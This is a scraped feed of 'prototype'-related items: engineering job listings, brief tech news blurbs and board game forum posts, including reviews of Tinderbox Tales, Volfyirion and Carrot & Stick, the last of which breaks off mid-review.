          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          (USA-PA-Fort Washington) Electronics Hardware Engineer      Cache   Translate Page      
## Electronics Hardware Engineer Join a team recognized for leadership, innovation and diversity Honeywell Performance Materials is a global leader in developing and manufacturing advanced materials, process technologies and automation solutions\. PMT’s Advanced Materials businesses manufacture a wide variety of high performance products, including fluorocarbons, hydrofluoroolefins, caprolactam, resins, ammonium sulfate fertilizer, phenol, specialty films, waxes, additives, advanced fibers, customized research chemicals and intermediates, and electronic materials and chemicals\. The Electronics Hardware Engineer will be responsible for electronic design, layout, functional assembly, and testing of optoelectronic sensors for the Authentication Technologies business\. The position will be located in Ft Washington, PA\. Authentication Technologies \(AT\) is part of the Fine Chemicals business unit, and is a leader in the development of Authentication solutions for banknotes, coins, high\-value documents, and materials packaging\. This is an opportunity for an engineer to lead the electronics development of optical sensor products \(design through functional assembly\)\. This includes high reliability designs that need to operate in difficult environments\. The electronics hardware are mixtures of low\-noise analog circuits coupled to digital interfaces and optical source drivers\. Work includes low EMI and EMC designs and layouts\. Significant hands on efforts are required with good data capture abilities\. Many of the sensors are incorporated into customer machines, so the ability to resolve specification issues is important\. The engineer must be technically creative and able to work in a collaborative environment with other hardware engineers \(optical, mechanical, software\)\. Responsibilities: \-Leads PCB electrical design and hands\-on development efforts in a highly\-dynamic team environment \-Develop electrical systems \(circuit modeling and PCB layout\) using the Mentor Graphics tool, and ability to work on analog to digital interfaces \-Work closely with optical, mechanical, and software engineers to develop robust, high\-quality sensor solutions \-Responsible for delivery of one\-off prototypes to support business efforts \-Leading electronics through maturation from concept development to engineering to production \-Develops a clear understanding of customer technical requirements, and is able to translate into project plans \-Significant hands on building, testing, and trouble\-shooting required \-Modest travel anticipated, including international \(< 5%\) 60 Laboratory work, board design & layout, system testing & diagnostics, troubleshooting 30 Data analysis, writing reports 10 Administrative, health/safety ### YOU MUST HAVE ### \-B\.S\. degree in Electrical or Electronics Hardware Engineering \-3 years hands\-on experience in PCB analog circuit design and layout, with coupling to digital interfaces \-3 years experience in EMC and EMI requirements, SMT layout, and building multi\-layer PCBs intended for sensor hardware \-2 years of experience with the Mentor Graphics or Cadence software package \-2 years of experience with microprocessors, including firmware programming ### WE VALUE \-Must be eligible for a US security clearance\. Strong preference give to indivudals who already have DoD clearance \-M\.S\. degree in Electronics Engineering \-Experience with LeCroy test gear or digital test equipment \-Six Sigma Training \(Green or Black belt\) \-Ability to work with minimal supervision Exempt Performance Materials and Technologies ### INCLUDES + Continued Professional Development + Some Travel Required ### ADDITIONAL INFORMATION + **Job ID:** HRD44543 + **Category:** Technology R&D + **Location:** 512 Virginia Dr, Fort Washington, PA 19034\-3264 USA Honeywell is an equal opportunity employer\. Qualified applicants will be considered without regard to age, race, creed, color, national origin, ancestry, marital status, affectional or sexual orientation, gender identity or expression, disability, nationality, sex, or veteran status\. Honeywell is an equal opportunity employer\. Qualified applicants will be considered without regard to age, race, creed, color, national origin, ancestry, marital status, affectional or sexual orientation, gender identity or expression, disability, nationality, sex, religion, or veteran status\. For more information on applicable equal employment regulations, refer to the EEO is the Law poster \. Please refer to the EEO is the Law Supplement Poster & the Pay Transparency Policy \. For more information on how we process your information in the job application process, please refer to Recruitment Privacy Notice \. If a disability prevents you from applying for a job through our website, request assistance here \. No other requests will be acknowledged\. Terms & Conditions | Privacy Statement © 2017 Honeywell International Inc\.
          (USA-OH-West Chester) Electrical Engineer II      Cache   Translate Page      
## Electrical Engineer II Join a team recognized for leadership, innovation and diversity The Electrical Project Engineers are responsible for the coordination and implementation of all electrical components associated with assigned system projects\. They have responsibility for the timely execution, as well as the technical quality and functionality of the electrical design and implementation of assigned systems and subsystems by following technical specifications and design guidelines\. The Electrical Project Engineer will primarily be responsible for: Creating Electrical Model Drawings, Electrical Device Layout Drawings, E\-stop drawings, Network Drawings, including schematic drawings by panel\. Developing Buyout Configuration and motor calculation worksheets\. Creating Permit drawings\. Ordering Control Panels, Electrical Field devices, and Electrical Buyouts\. Setting up and testing electrical prototypes\. Developing electrical Spare Parts List and Site Readiness Checklist\. Setting up Electrical Networks & Profibus, performing I/O checkout & commissioning, labeling electrical devices, creating electrical punch list for installation, and troubleshooting electrical product issues on site\. Providing as\-built technical documentation\. Grow and develop your electrical engineering knowledge in a team\-based culture working with innovative products and technologies 30 Creating Electrical Model Drawing, Electrical Device Layout Drawing & E\-stop drawings 10 Developing Buyout Configuration and motor calculation worksheets 10 Creating permit drawings 15 Ordering Control Panels, Electrical field devices and electrical buyouts 35 On\-site commissioning **YOU MUST HAVE** + Bachelor’s degree in electrical engineering, electricalengineering technology or related\. + Ability to travel nationally up to 30\-35% **WE VALUE** + Basic knowledge of the field's standards and specifications + Excellent computer literacy + Ability to focus on important information and identify key details + Capability of following guidelines and ensuring efficiency on given project tasks + Application of basic engineering techniques to optimize design of products, parts, systems or processes + Clear and concise communications + Ability to quickly analyze, incorporate and apply new information and concepts + Individuals who are self\-motivated and able to work with little supervision + Willingness to consistently take the initiative to get things done and do things before being asked by others or forced to by events\. + Relevant experience ### Exempt Discover Honeywell Intelligrated ### INCLUDES + 1st Shift + Some Travel Required + Continued Professional Development ### ADDITIONAL INFORMATION + **Job ID:** HRD42799 + **Category:** Engineering + **Location:** 10045 International Blvd, West Chester, OH 45246 USA Honeywell is an equal opportunity employer\. Qualified applicants will be considered without regard to age, race, creed, color, national origin, ancestry, marital status, affectional or sexual orientation, gender identity or expression, disability, nationality, sex, or veteran status\. Honeywell is an equal opportunity employer\. Qualified applicants will be considered without regard to age, race, creed, color, national origin, ancestry, marital status, affectional or sexual orientation, gender identity or expression, disability, nationality, sex, religion, or veteran status\. For more information on applicable equal employment regulations, refer to the EEO is the Law poster \. Please refer to the EEO is the Law Supplement Poster & the Pay Transparency Policy \. For more information on how we process your information in the job application process, please refer to Recruitment Privacy Notice \. If a disability prevents you from applying for a job through our website, request assistance here \. No other requests will be acknowledged\. Terms & Conditions | Privacy Statement © 2017 Honeywell International Inc\.
          Maquettiste, Équipements de protection et vêtements de performance - BRP - Valcourt, QC      Cache   Translate Page      
Concevoir des échantillons, des patrons et des prototypes au moyen de machines à couper et à coudre, d’outils de menuiserie et de logiciels de conception... $55,000 - $78,000 a year
From BRP - Sat, 15 Sep 2018 06:28:38 GMT - View all Valcourt, QC jobs
          Performance outerwear prototype maker - BRP - Valcourt, QC      Cache   Translate Page      
Distributed throughout more than 100 countries, our product line-up includes Ski-Doo and Lynx snowmobiles, Sea-doo watercraft, side-by-side all terrain vehicles... $55,000 - $78,000 a year
From BRP - Sat, 15 Sep 2018 06:28:33 GMT - View all Valcourt, QC jobs
          UK Dyson winners hope portable turbine blows away competition      Cache   Translate Page      
UK winners of the James Dyson Award for inventors say their pint-sized prototype O-Wind turbine could be the answer for apartment-dwellers seeking to take advantage of green energy. Jim Drury reports.

          Maruti Wagon R EV prototypes commence road testing      Cache   Translate Page      
none
          Prototype Build Technician      Cache   Translate Page      
MI-Detroit, DTS is looking for Prototype Build Technician for a direct hire position in Detroit, MI with one of our automotive client. Job Description This is an urgent need, and looking to start someone as soon as possible. Looking to do face to face interview this week. Overtime is required of 5-15 hours a week. Some Saturdays and shift times are 6 a.m.-2:30 p.m Build or tear down parts-Experience with axle
          (USA-NY-New York) Senior Data Scientist, Economic Graph Analytics      Cache   Translate Page      
Senior Data Scientist, Economic Graph Analytics LinkedIn’s vision is to create economic opportunity for every member of the global workforce. The Economic Graph team mission is to reach that vision by bringing to life data and pilot projects that help leaders address the challenges of the modern workforce and help members outside of LinkedIn’s core navigate their education and employment challenges. The Analytics team is looking for a talented and driven data scientist to join our team to support projects partnering with governments, NGOs, and think tanks. Our projects have ranged from understanding talent migration to computing the relative supply and demand of skills on a local, national, and international level. We are looking for an individual to join our team with a focus on developing internal tools and external products to scale our work more broadly. This role will work closely with various cross-functional teams such as product, engineering, and research to develop these solutions, and requires an adaptable analytics professional that is both passionate about making an impact through rigorous analyses and who also exhibits strong technical acumen. Responsibilities Analyze large datasets to investigate key regional trends, behaviors and metrics Take customized one-off analyses and scale them to represent millions of members Build scalable reports, dashboards, models and tools to help our policy team communicate the value of LinkedIn to external stakeholders Consult and communicate with LinkedIn’s policy team and external policy leaders to showcase Economic Graph insights Assist with developing strategy and managing operational metrics for various initiatives Coordinate cross-functionally with engineering, communications, marketing, product and sales to drive business objectives Develop methods and tooling to improve operational efficiencies for our analytical work, including decreasing time to market and automating repeated work Engage with internal technology partners to prototype and launch products that make our analytical insights more broadly available for consumers Evangelize technical tooling and educate team on best practices for tools and products Required Qualifications: Bachelor’s degree in a quantitative or social sciences field of study such as Computer Science, Engineering, Statistics, Economics, or Public Policy Experience using R, Python, or other programming languages for data manipulation, analysis, machine learning, or application development Experience using SQL to analyze datasets with databases such as Teradata, Hive, and PrestoDB 3+ years of research and/or analytics experience within a relevant industry or organization (Ex. tech, social media, finance, retail, research institutes). Preferred Qualifications: Masters or PhD degree in a quantitative or social sciences field of study Background and experience in statistics, predictive modeling, and machine learning Experience working in the internet industry, on social impact, public policy or consulting Experience with applied social science research or familiarity with publicly-available government data sets such as those provided by the BLS, Census Bureau, and the Department of Labor Experience with Hadoop (Hive, Pig, or MapReduce) Familiarity with data visualization and/or BI tools (Ex. Tableau, PowerBI) Experience in ETL tools and processes Experience using scripting languages such as Unix shell, Python, and PHP Experience working with product or engineering teams to develop and launch products, or experience developing software applications Strong oral and written communication skills. Strong ability to communicate findings clearly to both technical and non-technical audiences. Ability to interact internally and externally to drive business and technical discussions
          Design Engineer      Cache   Translate Page      
IL-Chicago, * SOLIDWORKS PROFESSIONALS * Job Description: Will be performing design work in solidworks for a majority of the time. May also do side functions like BOMs, help with prototype assembly, etc. Will be helping design/detail sub components of automation/assembly equipment. The initial concepts are already completed they just have to add things to design, detail in specifics, etc. Will be design with
          Opto-Mechanical Engineer - Facebook - Redmond, WA      Cache   Translate Page      
As an Opto-Mechanical Engineer at Facebook Reality Labs (FRL), you will develop state of the art prototype structures, mechanisms, and solutions for next...
From Facebook - Fri, 27 Jul 2018 11:28:20 GMT - View all Redmond, WA jobs
          Self-Driving Range Rover Runs Autonomous Rings Round Coventry      Cache   Translate Page      
A Range Rover Sport has completed the first ever self-driving lap of one of the UK's most challenging road layouts. A prototype self-driving Range Rover Sport handled the complex Coventry Ring Road, successfully changing lanes, merging with traffic and exiting junctions at the speed limit of 40mph.

Self-Driving Range Rover Runs Autonomous Rings Round Coventry originally appeared on Conceptcarz.com on Wed, 10 Oct 2018 07:58:53 EST. Please see our terms for use of feeds.


          Google’s Prototype Search Engine For China To Tie Search Entry To Phone Number      Cache   Translate Page      

It has been 8 years that Google has wrapped up its search engine business from China. China uses services and software manufactured by themselves. However, Google has finally decided to re-enter the search engine business in China but with a lot of restrictions and censoring. The modified search engine called the Dragonfly, has disappointed human...

The post Google’s Prototype Search Engine For China To Tie Search Entry To Phone Number appeared first on Tech Entice and written by Debaleena.


          SAP SENIOR PAYROLL ANALYST – IT - Tarrant County, TX - Tarrant County, TX      Cache   Translate Page      
The Senior Payroll Business Analyst's primary responsibilities will be to support SAP integration, process design, evaluation, prototypes, configuration, and... $84,344 - $105,000 a year
From Tarrant County, TX - Mon, 02 Jul 2018 18:16:13 GMT - View all Tarrant County, TX jobs
          Thread: Medioevo Universale:: Rules:: Set up 'distribute 2 levels'      Cache   Translate Page      

by Teaathart

Hi all,

The game has arrived!!! it looks amazing! However, as we know, the rule book in places is suffering from some translation issues.

The first one I can't get past is in the 'setup' for the 'rulebook' (i.e. not prototype). It says: 'Caravan/Merchant Ship/(etc): Distribute 2 levels.

I assume that's per player, but what's 2 levels? each player can pick any 2 minis from those 4?

Thank you!
          Overheid kan nog veel leren van bedrijfsleven      Cache   Translate Page      
De overheid heeft veel ICT-problemen aan zichzelf te danken en als het op budget en planning aankomt kunnen overheden bij het uitvoeren van grootscheepse ICT-projecten nog veel leren van het bedrijfsleven. Zegt Rinse Tamsma, de nieuwe algemeen directeur van de Nederlandse tak van softwarebedrijf SAP. SAP heeft nu een dienst waarmee binnen een week een idee omgezet wordt in een prototype.
          Systems Test Technician      Cache   Translate Page      
MA-Bedford, Connexion Systems & Engineering, a Boston based IT and Engineering Solutions Company immediately seeks individuals with the following skills: Job# bh8985 Systems Test Technician Duties: The Systems Test Technician will support system level performance tests of new product prototypes as well as competitive products. Main responsibilities will be the execution of performance testing, documenting res
          Review: Tinderbox Tales:: Tinderbox Tales | Review by Brave New Boardgames      Cache   Translate Page      

by BraveNewBoardgames

G'day folk of BGG!

Thanks for jumping into our review of Tinderbox Tales! If you would like to read the review including all pictures and attachments, please head across to https://www.bravenewboardgames.com.au/home/tinderboxtales and read on our website for the full experience!

If you have any feedback, criticism or praise, regarding the review; please feel free to share! We at BNB are always looking to improve and bring you what it is that you, the readers, want. Thank you for taking the time and stopping by.

Otherwise, read on and enjoy!

------------------------------------------------------------------------

"Tinderbox Tales is a fantastic box set of microgames. The box set is stunning and will look good on any shelf. Each and every game, regardless of the fact there is a different artist for each, is beautiful and flows smoothly as a group of games. The Barmaid's Tale is awesome fun when weaving rich, interesting and often hilarious tales of blame. The Damsel's Tale is one of the most addictive, smoothest and quickest asymmetrical two player games I have had the joy of playing. The Trader's Tale is a great game for beginner's looking to try worker placement that ends up losing points for a less than mediocre rulebook and doesn't offer enough to keep experienced gamers interested."

I have been provided with the absolute pleasure of playing and reviewing Tinderbox Tales. A collection of three micro-games that all can be played in under 30 minutes each. It's a privilege to be able to review these games, because, well, they aren't out yet! As you can see in the image above, this Kickstarter launches on 9 October 2018. I haven't even got to the best thing about these games yet... they are all made by Australians! Look at us go!
Tinderbox Tales includes three games; The Barmaid's Tale, The Trader's Tale and The Damsel's Tale. In this review I will be jumping into each game individually and how they work as a unit, which is how it is being released. Tinderbox Tales is being published by Red Genie Games, who have most recently brought you The Brigade; a firefighting, worker-movement fantasy game. Apart from the publisher and some designers, the main thing that The Brigade and each game in Tinderbox Tales have in common, is that they are all a part of the same universe! Each game is being released in its own box as part of a trilogy box set if you will. Each individual box is absolutely gorgeous and encompassing the look and feel of some faux leather, faux book, boxes. It will look fantastic sitting on any shelf.

------------------------------------------------------------------------

Firstly, we are going to jump in and look at The Barmaid's Tale. This is a social blame game that encourages players to create a story to play the game, even though it is possible without, however, the story is what makes this game and what usually makes it absolutely hilarious. The Barmaid's Tale is created by Alex Wynnter and Ivan Nevill; with artwork by Laura Diez and Jonathon Munro. It's played with 4 to 6 players and takes roughly 30 minutes to play through at full capacity. The recommended age for this one is 10 and up, however, depending on the group, maturity level or language filters I think this could also be played with people anywhere from 8 years of age. The rules are extremely simple, and the rulebook is concise. You won't need any more than 5 minutes to read through this book and pick up the gist of the game.

In its essence The Barmaid's Tale is a game of counting and tracking, however, if you're able to jump into the storytelling, the gameplay is incredibly fun and brings out some pretty incredible interactions between players. Players take on the role of characters that are in an adventuring party and have returned from a long journey and reside in a tavern, to drink and laugh about their previous quests together. While reminiscing on these quests, a player will be passing the blame to another player for something that had happened. The player that has then been blamed can accept the blame, or make up an excuse and pass blame to the next player. This continues until blame is finally accepted. If a player has accepted the blame three times, they are out and the game has ended. Adding on top of this are special abilities that each player's character card will have, and each character is different from the next. If you have accepted blame, there is also a once special ability that you may use on the bottom of your blame card. By the way, these blame cards are fantastic, drink coasters with fantasy artwork, it doesn't get much cooler than that. Finally, each player also starts the game with some money. One denomination of each sized coin which increases in size from the smallest value to the largest. When blame is passed from one player to another, they must first take the coin and replace it with a coin of their own of higher value. If they cannot do this, and they cannot be saved by any of their special abilities, they must take the blame. This brings me to my original statement, in essence, The Barmaid's Tale is a game of counting and tracking.

The Barmaid's Tale is a fantastic game to introduce to new gamers, drunk gamers or anyone that loves to weave a tale. The storytelling aspect of the game is what makes it a winner and what makes it great, however, that onus is on you. The game played by itself is far from a bad one, but I find it definitely less enjoyable. Without the story it would be similar to something like One Night Ultimate Werewolf, with much less deduction and more money counting and shifty eyes. The artwork is simple and gorgeous and I can't get past those drink coaster blame cards. I think I may have to get some of those made up in wood to use around the house! It's a quick game, a fun game, a hilarious game, but not a game for people that aren't interested in getting jovial. The magic happens in the story.

This is one for the drinking corner. I mean, it's called The Barmaid's Tale after all...

------------------------------------------------------------------------

Next, in Tinderbox Tales we have The Damsel's Tale. A breathtakingly and vibrantly beautiful, asymmetric 2 player game that absolutely surprised me. When I pulled the pieces out of the box and only saw a handful, I was worried that there wouldn't be anywhere near enough going on here, but oh was I misled. I mean seriously, there is one small board, three pieces and eighteen cards. The way this handful of components comes together is just, so great. The Damsel's Tale is another designed by Alex Wynnter, this time with Paul Nicholas and Josh Sommerfield; with incredible artwork by Senitra Thompson. This is a two player game that can be learnt and played the first time in under 15 minutes. Again, they recommend ages 10 and up, however, if you are happy to forgo a bit of strategy for some fun with kids, I think anyone 6 or older would enjoy this game.

The Damsel's Tale is incredibly simple. One player takes control of the Knight and his 6 cards. The other player will take control of the Baby Dragon and it's 6 cards. The final 6 cards sit in the middle of the table and will be turned over by both players at various points in the game, these are the Mumma Dragon cards. The Knight piece is placed on his starting space on the board and likewise for the Mumma Dragon. The final piece is placed on the Baby Dragon's panic meter. The Knight's goal is to reach the end of the board and not get eaten by Mumma Dragon. Each player shuffles their 6 cards, sets two aside at random and begins the round playing with the 4 cards in their hands. Simultaneously, they will choose a card from their hand to play face down. Once both cards are played, they are revealed and the text on the cards is followed in turn order. Turn order is determined by a number on each of the cards. The lowest number is played first. That's it. Simple.

Good luck though, because the game is brutal. The player controlling the Baby Dragon cards is trying to scream enough to bring Mumma Dragon down to eat up the Knight, so many of the Baby Dragon cards allow the player to flip a Mumma Dragon card which progresses the Mumma Dragon piece down the board, closer and closer to the Knight. On the board itself are three different spaces for the Knight to walk over; open spaces, noisy spaces and hidden spaces. If the Knight enters the open space, he is vulnerable to be eaten by the Mumma Dragon. If he enters a noisy space (which is still in the open mind you) the player then draws a Mumma Dragon card and she gets closer to victory again. However, if the Knight enters a hidden space, he cannot be eaten whilst he is there and if the Mumma Dragon reaches the end of her line whilst the Knight is hidden, she returns back to her starting position and has to walk her paces all over again. The game comes down to which card to play when and which card will my opponent play, as many cards can counteract each other. The dragons definitely have the upper hand here, but oh yes, it's very possible the Knight will make it!

I must say, I love The Damsel's Tale. Sure, it's extremely simple and small, but that's exactly the point! It's a 2 player microgame that can be played over and over again. Maybe you want a few quick games during travel, or to fill in time, or maybe you're running a tournament. It's smooth, it's beautiful and it's accessible. Really, everything you want in a microgame. The game becomes addictive because of all of this. I found myself wanting to sit in front of it and churn out game after game to try and win with the Knight. When you've had enough trying, just switch cards and have a few goes with the dragons. I suppose the only few gripes I have with this one is that there isn't enough time in the day to play the number of times that I want to, but that's hardly the games fault. Move aside roll-and-move games, we have card-and-move!

This is easily one for the shelf. Find a space for it somewhere.

------------------------------------------------------------------------

Righto, lastly we have the third and final game that is a part of the Tinderbox Tales box set. This game is possibly the heaviest, if I can really say that, of the three. It's a worker placement game for 2 to 4 players called, The Trader's Tale. The game should take anywhere between 15 and 45 minutes depending on the number of players. This one is recommended for ages 10 and up and I will have to agree this time. The version that I played was a prototype version and I can only comment on the rules for that, but they weren't the clearest and easiest to read and learn. We had to consult the rulebook and make our own interpretations a couple of times. With fine-tuned rules, this should take you around 15 minutes to learn. The Trader's Tale is designed by Ben Hoban and Tristan Bell; with artwork by Dimitris Karakousis.

In The Trader's Tale players will take control of Wizards, each with their own character card, win goals and special abilities. These Wizards are on a quest to recruit adventurers for their upcoming quests. The objective is simple, the first player to the three required adventurers (as depicted on their Wizard card) wins the game. In order to achieve this, players will take turns placing up to three meeples on the board each round, this is inclusive of their Wizard meeple and two Assistants. Whichever space you place your Wizard meeple on, you generally receive a bigger bonus or game altering trigger; whereas your Assistants provide you with more opportunities, however, they will cost you to place them out there. There are 9 different areas that your workers may be placed upon, though you are not allowed to place a worker in the same space as an opponents worker. This allows players the ability to block out other players, as well as focusing on their own goals.

Out of the 9 areas that make up the board, there are 3 unique tiles which include a Tavern, Trader and Marketplace. There are four taverns on the board, one in each corner; if a worker is placed on a Tavern they have the choice of taking income by performing for the patrons or hiring an adventurer which is required to win the game. There are four different adventurers in the game and each one will be unique to a specific tavern. Each tavern will start with only one adventurer available to hire. Next, there is the Trader and if a worker is placed here, you are able to collect resources required to hire your required adventurers. To accompany this is a commodity tracker for every player, and each player also has their own individual resource tracker. When a player acquires a resource, they add it to their tracker (up to a maximum of 7 for each resource). If a Wizard was used to acquire a resource, the cost of the resource will increase on the community commodity tracker. If the cost reaches the fourth and final space on the commodity tracker, the player with the largest amount of that resource will choose another adventurer to become available at one of the four taverns. Finally we have the middle tile which is the Marketplace; any amount of workers are allowed to be placed here and will provide you with a basic income for the around, alternatively, the first person to place a worker there will take the Top Trader token and become the first player until at least the end of the next round. These are the 9 areas and tiles that make up the board. What I find really interesting is that the designers have also utilised the lines between each tile. You may place your worker in the middle of two tiles if another player's meeples are already taking the spaces that you need. By placing your worker in the middle you are offered a similar action, though it is a little less useful or not as beneficial, at least provides players with a chance to do what they need when the main tile is already taken.

Bear in mind I have only had a chance to play The Trader's Tale a small handful of times prior to this review, much less than the other two games in Tinderbox Tales. I had fun with The Trader's Tale. I definitely wasn't enthralled. It's a quick worker placement game, and a great introduction to worker placement if you have friends or family that haven't tried them before. I can see it coming off the shelf, for this reason, however, I don't see it returning to the table too many times for experienced gamers. The game has some very interesting worker placement applications that I haven't experienced before, and I really enjoy it for that. The artwork is polished and the board looks great. Each action is quite clearly depicted in each area of the board, making it even that more accessible. For those that love lore and getting into the story behind a board game, The Trader's Tale also includes a very entertaining, nicely written and rich story at the back of the rulebook. It's a great third game to Tinderbox Tales, but the weakest of the three.

This is one for your bottom shelf.

------------------------------------------------------------------------


All in all, Tinderbox Tales is a fantastic box set of microgames. The box set is stunning and will look good on any shelf. Each and every game, regardless of the fact there is a different artist for each, is beautiful and flows smoothly as a group of games. The Barmaid's Tale is awesome fun when weaving rich, interesting and often hilarious tales of blame. The Damsel's Tale is one of the most addictive, smoothest and quickest asymmetrical two player games I have had the joy of playing. The Trader's Tale is a great game for beginner's looking to try worker placement that ends up losing points for a less than mediocre rulebook and doesn't offer enough to keep experienced gamers interested.

For me, Tinderbox Tales is a must buy. The Kickstarter releases on 9 October 2018 and I believe the entire box set will be extremely affordable and personally, I believe less than it's worth! It's a great follow on from The Brigade for Red Genie Games. Keep an eye on these Aussies because I can only see more and more fun, entertaining and beautiful games coming from them. Especially anything in the Tinderbox universe.


Kickstarter Link:

https://www.kickstarter.com/projects/redgeniegames/66256390?...


Written by Rowan Morris
Author / Publisher
Brave New Boardgames



If you enjoyed this review, Brave Reviews or anything that we at Brave New Boardgames are doing, we would really appreciate your support to keep on doing and keep on bringing everything that we have been and more to you, the readers. We have a support page on the website that you can find at www.bravenewboardgames.com.au/supportus. Any donation would be sincerely appreciated and allows us to bring you top quality work. Thanks, folks!
          Review: Volfyirion:: So many enticing in-game choices      Cache   Translate Page      

by Talisinbear

It is always fun to get a game in its prototype stage, a sneak peek, into something few have had an opportunity to play.

So I ripped into the package of Volfyirion with a definite air of anticipation.

The games will soon be kickstarted from Tabula Games, and expands upon the world of their earlier game Mysthea.

So let’s start with the obvious, the moment the wrapping was shredded and the cellophane cleared away, I flipped through the cards of Volfyirion and was immediately immersed in the excellent art. You could lose yourself in the game for some time just appreciating the art. I wish I could credit the artist but there is no mention on the prototype, but their art on this one is impressive.

So what is Volfyirion? The game is a competitive deck-building card game for two players.

Deck-builders are probably my third favourite genre, so again this one had my attention. While other games of the genre do allow for one-on-one play, games specifically focused on two-players are rare, so I was hoping this one would offer something good.

In terms of flavour, there is a back story that at least gives some context for the game.

“The unspoken rivalry between House Volarees and House Rufus escalated into war once they learned that it was possible to control Volfyirion, that dreadful dragon inhabiting the ruins of Kyradar,” detailed the rules print-out, (I had to go online for the latest version as the game was still in final design). “The desire to gain complete dominion over the powerful beast resulted in a conflict between the two forces, who were ready to employ any means necessary to stop the other. Their Cities are now nearly completely besieged while the battles rage on. Everyone tries to do their part: troops are stationed at the high walls, scouts venture to the ruins of Kyradar, civilians build anew what was destroyed, and scholars research forbidden tomes. However, the war is far from being over, because as long as a single enemy City is still standing, neither House will ever surrender.

“In Volfyirion, each player represents one of two ancient Houses of Mysthea. The goal is to conquer the other by destroying all enemy Cities. This is done by gaining points which can be spent to deploy strategic assets and attack.”

So if you are familiar with deck-builders each play starts with a small starter deck of cards, 10 in this case which is fairly standard for the genre. You draw five for a hand, with the cards generating; command, battle and knowledge points. It is the points that allow players to do things in game.

Command points allow you to ‘buy’ cards from the ‘asset row’, which is like the market in many games.

Battle points are what you use to attack enemy cities.

Knowledge cards have a number of uses, and are the most versatile asset you have.

Many cards will have more than one type of points associated with it, but unlike many games you don’t have to choose which to use, as you gain all points depicted.

In earlier rounds you will want to build your deck by grabbing cards out of the asset row, but it helps to have something of a plan. Some cards have specific colours and if you can chain certain combos together you can unlock additional powers for a turn.

Many cards can also be removed from the game for a one-time effect. It is usually a significant bonus, but the sacrifice is the card is out of the game.

Other cards are added to your cities, building providing resources each turn, and soldiers adding defence against an attack.

The goal is to destroy your opponent’s cities, so battle cards are important, but there is also the dragon.

Did I not mention the dragon? It resides in its own city, and can be called using knowledge to attack cities, which is a workable approach too. The dragon may be a tad over-powered, but the final version may tweak that.

That is perhaps the best aspect of Volfyirion, you have a lot of choices, both in your approach to winning, and within the game, what you do with your resources at-hand. The more choices, the greater the replay value of a game and this one has a lot to explore.

The game does start out at a slow pace as you build resources then suddenly gets very interactive as attacks are made, or the dragon gets called. In the end games are pretty quick as well.

Ultimately the game feels a tad like Magic: the Gathering and Dominion had a baby, and it is quite a beautiful baby I look forward to watching grow up with a few expansions.

Thanks to fellow gamer Adam Daniels for his help in running through this game for review.


          Review: Carrot and Stick:: Everything Board Games Carrot & Stick Kickstarter Preview      Cache   Translate Page      

by Darth_Cauthon



Quick Look:
Designers: Matthew King & Petya Kapralova
Artists: Matthew King & Petya Kapralova
Publisher: Mindpipe
Year Published: 2018
No. of Players: 3-6
Ages: 14+
Playing Time: 30-90 min.

From the publisher:

You can be nice to play this game... but you certainly don't have to!

Draw the Cards, Tell the Story, Solve the Problem. Use your hand of 10 weird and wonderful word and picture cards to solve the peep's problem!

This is an easy to learn, versatile and creative card game of bribery, threats and weirdness. Lead your island to dominate other island with adorable assistance or devastatingly creative cruelty. Will they get the Carrot, or the Stick?



WARNING: This is a preview of Carrot & Stick. All components and rules are prototype and subject to change. Carrot & Stick is launching on Kickstarter on October 9, 2018.

Review:
Overview and Theme:
Carrot & Stick is a storytelling game with a very creative history. Starting with a political satire game following Brexit in 2016, the folks behind the Carrot & Stick world opened up to incorporate global political satire but then found themselves adding more elements from all facets of life, making a diverse, quirky, wide-ranging set of cards to encompass more stories and more ideas. In fact, they created even more Peeps and Locations than they can squeeze into the final version, and let fans vote for their favorites and even suggest new Peeps.



When Carrot & Stick comes to Kickstarter in October 2018, it will even have two possible variants you can choose from--the Nice deck or the Naughty one! Some planned Kickstarter rewards will include exclusive designs, custom artwork, and ways to influence the final product.

Woven throughout the process and the rules are creativity, freedom, and flexibility. Play until all the Peep cards are gone...or until you've eaten all the pizza. House rules rule--play the game as you like it most!

Components and Setup:
Carrot & Stick is a card game, with decks of Peeps (characters), Locations, Picture, and Word Cards. There's also a Halo card to award to the nicest answer and a Pitchfork card for the cruelest one!



Setup is quick and easy, if your players can keep themselves from flipping through the decks just to see all the adorable artwork! Shuffle each deck separately, then deal each player a Peep and a Location to put on the table in front of them to start their World. Players are encouraged to introduce their character and their World, too. The more moments you can spend diving into the wacky world you are spinning with your stories, the richer the experience will be.



Each player will also get a hand of 10 Picture and Word Cards, and you're ready to begin!

Our deck was a prototype printing from the Game Crafter, so it contains only about 60% of the cards that are expected to be in the final version--and again, some of the actual cards may change as Matthew and Petya take feedback from fans.



Game Play and Mechanics:
Storytelling and engagement are the key here. Carrot & Stick requires players to be open to being goofy, occasionally naughty, out-of-the-box, and inspired by the unusual artwork.

Carrot & Stick is a judge-and-players game--each round, there will be a new judge who flips over one Peep, one Location, and one Picture/Word Card, and sets the scene. Who is coming to choose a new home, and what problems are they facing?



Now each of the other players chooses up to three Picture/Word Cards from their hand to tell a story about what they will offer that character to come to their own World. But you don't have to be nice...you can use your cards to threaten that character into joining you, instead!



The judge listens to (and at our table, reacts in character to) all the possibilities, and then chooses the one that swayed them the most. The person telling the most compelling story takes that Peep and Location into their World, and another round begins with a new judge.



In addition, the judge can hand out the Halo card to the person who told the nicest story (and increase their hand size by 1) and/or the Pitchfork to the person with the meanest story (and reduce their hand size by 1). Most of the times that we played, it was just our family of four, and so we didn't use the Halo and Pitchfork much, just for extreme cases of Naughty or Nice!



That's it--the basics of the game are very simple. The real fun comes from engaging in your stories, building upon your Worlds and using them to entice (or threaten) new Peeps to settle there. Some haggling, a little arguing, creative thinking, and out-of-the-box uses of objects or ideas will help make your Carrot & Stick experience especially rich.

The Good:
The artwork of Carrot & Stick is playfully odd and inspires great stories and imagination. My daughter and I were especially delighted that Matthew and Petya turned US into cards too--it seems like this may be a Kickstarter perk that you could look forward to!



Carrot & Stick is a great vehicle for storytelling and can be as competitive and cruel or as simple and sweet as your group wants it to be. As I said before, we enjoyed playing it as a family, but my 16-year-old son also said he would love to take it to game night with his friends too, and I imagine the stories they tell might be a little different!



The Bad:
